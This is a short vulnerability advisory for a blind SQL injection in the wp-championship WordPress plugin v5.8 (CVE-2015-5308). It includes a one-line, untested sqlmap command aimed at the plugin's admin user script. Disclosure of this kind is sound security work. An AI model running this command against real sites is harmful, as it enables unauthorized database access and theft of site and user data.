Blind SQL injection in wp-championship wordpress plugin v5.8

#903 · 2015-10-22

CVE ID(s): CVE-2015-5308

Notified: 2015-10-23

Description:

wp-championship is a plugin for wordpress letting you play a guessing game of a tournament e.g. soccer.

Exploit:

Untested: 
$ sqlmap -u 'http://wp.site:80/wp-admin/wp-championship/cs_admin_users.php&userid=' --data="isadmin=1&user" --cookie=AUTH_COOKIE_HERE --level=5 --risk=3

Download: https://wordpress.org/plugins/wp-championship/

URL: http://www.vapid.dhs.org/advisory.php?v=155